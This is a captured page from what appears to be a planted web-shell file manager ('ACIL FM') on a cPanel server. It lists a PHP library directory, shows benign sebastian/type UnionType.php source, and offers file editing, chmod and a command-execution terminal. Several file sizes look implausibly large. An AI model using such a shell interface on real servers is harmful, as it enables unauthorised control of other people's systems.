ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/sebastian/type/src/type
/
opt
cpanel
ea-wappspector
vendor
sebastian
type
src
type
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
CallableType.php
4.2 MB
chmod
View
DL
Edit
Rename
Delete
FalseType.php
880 B
chmod
View
DL
Edit
Rename
Delete
GenericObjectType.php
1.02 MB
chmod
View
DL
Edit
Rename
Delete
IntersectionType.php
2.73 MB
chmod
View
DL
Edit
Rename
Delete
IterableType.php
1.47 MB
chmod
View
DL
Edit
Rename
Delete
MixedType.php
794 B
chmod
View
DL
Edit
Rename
Delete
NeverType.php
714 B
chmod
View
DL
Edit
Rename
Delete
NullType.php
791 B
chmod
View
DL
Edit
Rename
Delete
ObjectType.php
1.53 MB
chmod
View
DL
Edit
Rename
Delete
SimpleType.php
1.8 MB
chmod
View
DL
Edit
Rename
Delete
StaticType.php
1.43 MB
chmod
View
DL
Edit
Rename
Delete
TrueType.php
875 B
chmod
View
DL
Edit
Rename
Delete
Type.php
4.17 MB
chmod
View
DL
Edit
Rename
Delete
UnionType.php
2.89 MB
chmod
View
DL
Edit
Rename
Delete
UnknownType.php
779 B
chmod
View
DL
Edit
Rename
Delete
VoidType.php
710 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/sebastian/type/src/type/UnionType.php
<?php declare(strict_types=1); /* * This file is part of sebastian/type. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function count; use function implode; use function sort; final class UnionType extends Type { /** * @psalm-var non-empty-list<Type> */ private array $types; /** * @throws RuntimeException */ public function __construct(Type ...$types) { $this->ensureMinimumOfTwoTypes(...$types); $this->ensureOnlyValidTypes(...$types); $this->types = $types; } public function isAssignable(Type $other): bool { foreach ($this->types as $type) { if ($type->isAssignable($other)) { return true; } } return false; } public function asString(): string { return $this->name(); } public function name(): string { $types = []; foreach ($this->types as $type) { if ($type->isIntersection()) { $types[] = '(' . $type->name() . ')'; continue; } $types[] = $type->name(); } sort($types); return implode('|', $types); } public function allowsNull(): bool { foreach ($this->types as $type) { if ($type instanceof NullType) { return true; } } return false; } /** * @psalm-assert-if-true UnionType $this */ public function isUnion(): bool { return true; } public function containsIntersectionTypes(): bool { foreach ($this->types as $type) { if ($type->isIntersection()) { return true; } } return false; } /** * @psalm-return non-empty-list<Type> */ public function types(): array { return $this->types; } /** * @throws RuntimeException */ private function ensureMinimumOfTwoTypes(Type ...$types): void { if (count($types) < 2) { throw new RuntimeException( 'A union type must be composed of at least two types' ); } } /** * @throws RuntimeException */ private function ensureOnlyValidTypes(Type ...$types): void { foreach ($types as $type) { if ($type instanceof UnknownType) { throw new RuntimeException( 'A union type must not be composed of an unknown type' ); } if ($type instanceof VoidType) { throw new RuntimeException( 'A union type must not be composed of a void type' ); } } } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply